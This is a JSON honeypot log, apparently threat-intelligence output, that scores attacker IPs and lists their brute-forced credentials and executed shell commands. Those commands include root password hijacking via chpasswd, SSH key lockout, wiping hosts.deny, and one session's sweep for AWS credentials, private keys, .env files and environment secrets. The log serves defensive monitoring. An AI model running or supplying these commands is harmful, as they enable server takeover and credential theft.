        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:mAK2jXPZZzjs\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:24:02.207000+00:00",
        "last_seen_30d": "2026-05-10T13:00:29.990000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "186.10.86.130": {
      "attack_count": 213,
      "first_seen": "2026-05-29T23:39:05.831Z",
      "last_seen": "2026-05-30T00:10:49.029Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "frontend",
        "deploy",
        "devuser",
        "ethan",
        "pedro",
        "pt",
        "rdpuser",
        "ts3",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Aa123456@",
        "Abc123!@#",
        "Huawei12",
        "Mf123456.",
        "admin01",
        "adminadmin",
        "asdfghjkl",
        "devuser",
        "ethan123",
        "prueba",
        "pt"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nP9dNYbP8FLRK\\nP9dNYbP8FLRK\\n\"|passwd",
        "echo \"admin01\\nl7cPUBdk6vn4\\nl7cPUBdk6vn4\\n\"|passwd",
        "echo -e \"123\\nP9dNYbP8FLRK\\nP9dNYbP8FLRK\"|passwd|bash",
        "echo -e \"admin01\\nl7cPUBdk6vn4\\nl7cPUBdk6vn4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Las Condes",
      "asn": 27651,
      "as_org": "ENTEL CHILE S.A.",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:39:05.831000+00:00",
        "last_seen_30d": "2026-05-30T00:11:53.738000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "89.153.125.230": {
      "attack_count": 211,
      "first_seen": "2026-05-24T08:43:57.050Z",
      "last_seen": "2026-05-24T09:30:21.245Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "b",
        "clawd",
        "git",
        "ismail",
        "minecraft",
        "user5"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1983",
        "Admin@123456.",
        "Asdasd123",
        "Qwer123123",
        "Qwertyu123",
        "Welcome2026!",
        "a",
        "clawd",
        "git123456",
        "ismail123",
        "pos",
        "qwe.123qwe",
        "qwe123QWE",
        "test",
        "user5123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6KvDBY0MPNXz\"|chpasswd|bash",
        "echo \"root:zFAAMlyewQaK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Porto",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:43:57.050000+00:00",
        "last_seen_30d": "2026-05-24T09:31:28.261000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 46
      }
    },
    "197.248.104.19": {
      "attack_count": 206,
      "first_seen": "2026-05-24T19:54:05.260Z",
      "last_seen": "2026-05-24T20:49:53.131Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "christian",
        "cloud",
        "msf",
        "postgres",
        "robert"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Qwe123!!",
        "Wangsu@2017",
        "aa123456",
        "asdQWE123",
        "christian123",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "linux123",
        "msf",
        "postgres123",
        "qwerty@123",
        "robert"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OQUrLHSj5y2k\"|chpasswd|bash",
        "echo \"root:syjdLxLtaVau\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:54:05.260000+00:00",
        "last_seen_30d": "2026-05-24T20:51:02.281000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 44
      }
    },
    "46.101.216.224": {
      "attack_count": 188,
      "first_seen": "2026-05-29T06:21:20.614Z",
      "last_seen": "2026-05-29T06:34:33.827Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "angelica",
        "smb",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123456Aa!",
        "1234QWERasdf",
        "159753",
        "Mm123456",
        "a",
        "angelica",
        "fjbdfdjkdsfs541544",
        "kontol",
        "smb"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"angelica\\nJGAXSsw5ZSSK\\nJGAXSsw5ZSSK\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nqMNKzVBmFTOr\\nqMNKzVBmFTOr\\n\"|passwd",
        "echo -e \"angelica\\nJGAXSsw5ZSSK\\nJGAXSsw5ZSSK\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nqMNKzVBmFTOr\\nqMNKzVBmFTOr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:21:20.614000+00:00",
        "last_seen_30d": "2026-05-29T06:35:35.687000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 31
      }
    },
    "43.130.39.62": {
      "attack_count": 173,
      "first_seen": "2026-05-19T22:17:48.331Z",
      "last_seen": "2026-05-19T22:42:31.362Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "claude",
        "dba",
        "ftpuser",
        "ftpuser2",
        "git",
        "mmm",
        "mongo",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "12345678",
        "123@.com",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc#EDC3edc",
        "54321",
        "A1b2C3d4",
        "AA123456..",
        "ABCabc123456",
        "Admin2020",
        "Claude2026!",
        "P@ssw0rd.",
        "a",
        "abcd.1234",
        "ben",
        "dba123",
        "huawei12#$",
        "mmm",
        "mongo@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LHsyl1piOBpi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:17:48.331000+00:00",
        "last_seen_30d": "2026-05-19T22:43:36.527000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "163.223.54.21": {
      "attack_count": 168,
      "first_seen": "2026-05-05T01:41:28.108Z",
      "last_seen": "2026-05-31T10:30:31.537Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 18229,
      "as_org": "CtrlS",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:41:28.108000+00:00",
        "last_seen_30d": "2026-05-31T10:31:38.996000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "218.79.145.244": {
      "attack_count": 166,
      "first_seen": "2026-05-19T18:56:25.486Z",
      "last_seen": "2026-05-20T04:24:59.379Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:56:25.486000+00:00",
        "last_seen_30d": "2026-05-20T04:26:00.842000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 84
      }
    },
    "84.247.162.143": {
      "attack_count": 133,
      "first_seen": "2026-05-24T14:18:18.878Z",
      "last_seen": "2026-05-24T15:21:19.147Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "eun",
        "ftp_user",
        "java"
      ],
      "passwords_attempted": [
        "123qwe123qwe",
        "135792468",
        "3245gs5662d34",
        "345gs5662d34",
        "MSN55msn!!",
        "P@ssword1!",
        "Qweasdzxc1",
        "Test123",
        "eun",
        "ftp_user@2024",
        "helloworld",
        "java123",
        "pass@1234",
        "qq111111",
        "qwerty54321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:y9Qq1d3PH9Au\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:18:18.878000+00:00",
        "last_seen_30d": "2026-05-24T15:22:27.635000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 38
      }
    },
    "20.205.18.79": {
      "attack_count": 119,
      "first_seen": "2026-05-27T07:59:15.304Z",
      "last_seen": "2026-05-27T08:51:13.544Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "liming",
        "bot",
        "moon",
        "patrol",
        "remote",
        "test_user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "Ly123456",
        "P@ssw0rd123",
        "P@ssword123!@#",
        "Root1",
        "Xl123456",
        "fjbdfdjkdsfs541544AA@@",
        "liming",
        "patrol123",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"liming\\nqXG03KX1WiYy\\nqXG03KX1WiYy\\n\"|passwd",
        "echo -e \"liming\\nqXG03KX1WiYy\\nqXG03KX1WiYy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:59:15.304000+00:00",
        "last_seen_30d": "2026-05-27T08:52:21.939000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 32
      }
    },
    "158.174.211.17": {
      "attack_count": 113,
      "first_seen": "2026-05-25T18:17:59.663Z",
      "last_seen": "2026-05-25T19:30:02.685Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "curl",
        "dev",
        "facturacion",
        "kiran",
        "rancid",
        "sachin",
        "superman",
        "u"
      ],
      "passwords_attempted": [
        "12345678",
        "!QAZ1qaz",
        "!QAZxsw2#EDC",
        "1234",
        "123456",
        "1236",
        "3245gs5662d34",
        "345gs5662d34",
        "AA123456.",
        "Ma123456.",
        "Wangsu@2017",
        "admin@1234",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "leonardo",
        "rancid",
        "sachin@123",
        "superman",
        "test123!@#",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Oxel\u00f6sund",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:17:59.663000+00:00",
        "last_seen_30d": "2026-05-25T19:31:08.251000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 52
      }
    },
    "112.103.92.50": {
      "attack_count": 106,
      "first_seen": "2026-05-19T07:40:10.805Z",
      "last_seen": "2026-05-19T13:30:24.229Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:40:10.805000+00:00",
        "last_seen_30d": "2026-05-19T13:31:26.051000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 106,
        "Suricata": 56
      }
    },
    "87.249.134.4": {
      "attack_count": 87,
      "first_seen": "2026-05-25T15:21:50.970Z",
      "last_seen": "2026-05-27T03:49:07.233Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "toor"
      ],
      "commands_executed": [
        "uname -m",
        "( cat /etc/environment 2>/dev/null;   strings /proc/1/environ 2>/dev/null ) | grep -iE 'KEY|SECRET|TOKEN|PASS|PWD|API|CRED|AUTH' | head -60",
        "[ -n ]",
        "cat /proc/$p/comm 2 > /dev/null",
        "cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -iE 'curl.*key|wget.*key|password|secret|token|api|aws|mysql|psql' | tail -40",
        "crontab -l 2>/dev/null; ls /var/spool/cron/crontabs/ 2>/dev/null && cat /var/spool/cron/crontabs/* 2>/dev/null; cat /etc/cron.d/* 2>/dev/null",
        "find / -maxdepth 6 \\( -name '.env' -o -name 'app.env'   -o -name '.env.local' -o -name '.env.production' \\)   -not -path '*/node_modules/*' 2>/dev/null | head -10 | while read f; do echo \"=== $f ===\"; cat \"$f\"; done",
        "find /root /home -maxdepth 3 -name 'id_rsa' -o -name 'id_ed25519'   -o -name '*.pem' 2>/dev/null | while read f; do echo \"=== $f ===\"; cat \"$f\"; done",
        "find /root /home -maxdepth 3 -name id_rsa -o -name id_ed25519 -o -name *.pem 2 > /dev/null | while read f",
        "for f in /etc/elasticsearch/elasticsearch.yml           /etc/elasticsearch/*.yml           /etc/kibana/kibana.yml; do   [ -f \"$f\" ] && echo \"=== $f ===\" && cat \"$f\"; done",
        "for f in /etc/elasticsearch/elasticsearch.yml /etc/elasticsearch/*.yml /etc/kibana/kibana.yml",
        "for f in ~/.aws/credentials ~/.aws/config /root/.aws/credentials           /home/*/.aws/credentials; do   [ -f \"$f\" ] && echo \"=== $f ===\" && cat \"$f\"; done",
        "for f in ~/.aws/credentials ~/.aws/config /root/.aws/credentials /home/*/.aws/credentials",
        "for p in ",
        "ip addr 2 > /dev/null | grep inet  | head -5",
        "ls /proc/ | grep -E ^[0-9]+$ | head -30",
        "strings /proc/$p/environ 2 > /dev/null | grep -iE KEY | SECRET | TOKEN | PASS | API | CRED | head -5",
        "strings /proc/$p/environ 2 > /dev/null | grep -iE KEY|SECRET|TOKEN|PASS|API|CRED | head -5",
        "uname -a; nproc 2>/dev/null; free -m 2>/dev/null | head -2; df -h / 2>/dev/null | tail -1; ip addr 2>/dev/null | grep 'inet ' | head -5"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.8,
        "persistence": 12.5,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 15,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-13T04:24:27.902000+00:00",
        "last_seen_30d": "2026-05-27T03:50:14.905000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 52,
        "ElasticPot": 6,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "34.62.59.187": {
      "attack_count": 72,
      "first_seen": "2026-05-11T08:34:52.638Z",
      "last_seen": "2026-05-11T08:35:45.839Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4684",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T04:25:03.850000+00:00",
        "last_seen_30d": "2026-05-11T08:36:55.827000+00:00",
